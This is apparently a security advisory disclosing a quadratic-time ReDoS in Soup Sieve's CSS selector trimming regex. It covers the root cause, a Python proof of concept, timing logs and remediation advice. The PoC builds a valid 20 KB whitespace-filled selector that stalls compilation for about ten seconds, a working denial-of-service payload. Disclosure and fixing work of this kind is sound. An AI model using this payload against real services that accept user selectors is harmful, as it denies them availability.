CVE-2026-85999: Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)

Summary

Before tokenizing, selectoriter trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with .search(). The trailing one, REWSEND = re.compile(r'{WSC}$'), is anchored only at the end ($), not the start. Because .search() retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail $, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, a + " "n + b — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.

Trust model (Q0)

The selector string is the input, reaching this code via soupsieve.compile(), the soupsieve.select/iselect/match/filter helpers, and BeautifulSoup's soup.select(selector) / soup.selectone(selector). Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.

Root cause (exact anchors) — src/soupsieve/cssparser.py

python line 185-186 REWSBEGIN = re.compile(fr'^{WSC}') # anchored at start -> .search() only tries pos 0 -> linear (safe) REWSEND = re.compile(fr'{WSC}$') # NOT anchored at start -> .search() tries every offset

selectoriter, lines ~1322-1326 m = REWSBEGIN.search(pattern) index = m.end(0) if m else 0 m = REWSEND.search(pattern) # <-- O(n^2) here end = (m.start(0) - 1) if m else (len(pattern) - 1)

WSC = (?:{WS}|{COMMENTS}). For REWSEND = (?:WS|COMMENTS)$, .search() walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, (?:WS|COMMENTS) greedily consumes to the run's end, then $ fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). REWSBEGIN avoids this because ^ pins it to a single start offset.

The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored .search() of a $ pattern is the defect.

Reproduction environment (discipline #12 — published artifact)

- git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/pocredoswstrim.py. - Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python pocredoswstrim.py → same O(n²) (evidence: poc/evidenceredoswstrimPUBLISHED2.8.4.log). - Python 3.11.15 and 3.14.6 both reproduce.

PoC (poc/pocredoswstrim.py)

python import sys, time sys.path.insert(0, ".") import soupsieve as sv

def ct(sel): t0 = time.perfcounter() try: sv.compile(sel); st = "ok" except Exception as e: st = type(e).name return time.perfcounter() - t0, st

print(f"soupsieve {sv.version}\n")

print("VALID selector 'a' + ' 'n + 'b' (descendant combinator, lots of whitespace):") for n in (2000, 4000, 8000, 16000): dt, st = ct("a" + " " n + "b") print(f" n={n:<6} len={n+2:<7} {dt1000:9.1f} ms [{st}]")

payload = "a" + " " 20000 + "b" dt, st = ct(payload) print(f"\n[+] Single call: compile('a' + ' '20000 + 'b') (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]")

Isolated confirmation that the cost is in REWSEND.search specifically (poc/isolatewstrim.py): REWSEND on "div"+" "n+">" is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored REWSBEGIN on " "n+"x" stays linear (32000→1.5 ms). Profiling compile shows the entire wall time in 2 re.Pattern.search calls, not .match.

Evidence — HEAD 2.9 (verbatim poc/evidenceredoswstrim.log)

soupsieve 2.9

VALID selector 'a' + ' 'n + 'b' (descendant combinator, lots of whitespace): n=2000 len=2002 112.3 ms [ok] n=4000 len=4002 411.5 ms [ok] n=8000 len=8002 1602.9 ms [ok] n=16000 len=16002 6464.1 ms [ok]

VALID-looking 'a' + '/x/'n + 'b' (CSS comment run): n=1000 len=5002 48.9 ms [SelectorSyntaxError] n=2000 len=10002 194.8 ms [SelectorSyntaxError] n=4000 len=20002 780.2 ms [SelectorSyntaxError] n=8000 len=40002 3145.3 ms [SelectorSyntaxError]

[+] Single call: compile('a' + ' '20000 + 'b') (len=20002) [+] wall time = 10.23 s [ok]

Evidence — published 2.8.4 (verbatim poc/evidenceredoswstrimPUBLISHED2.8.4.log)

soupsieve 2.8.4

VALID selector 'a' + ' 'n + 'b': n=2000 len=2002 102.7 ms [ok] n=4000 len=4002 404.3 ms [ok] n=8000 len=8002 1618.2 ms [ok] n=16000 len=16002 6457.9 ms [ok] [+] Single call: compile('a' + ' '20000 + 'b') wall time = 10.11 s [ok]

Impact — calibrated

- Confirmed: quadratic CPU per compile()/select() call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path. - Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve. - NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.

Distinction from the IDENTIFIER/VALUE ReDoS

This is a separate root cause and a separate fix: the cost here is entirely in the REWSEND = {WSC}$ trim step run with .search() before tokenizing (measured in re.Pattern.search), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token .match(). They can be fixed independently.

Remediation

- Anchor or de-loop the trailing-trim step: instead of .search() of {WSC}$, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or re.compile(r'^{WSC}').match on a reversed-equivalent), so no per-offset retry occurs. - Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass $ search. - Defense-in-depth: cap selector length before compiling.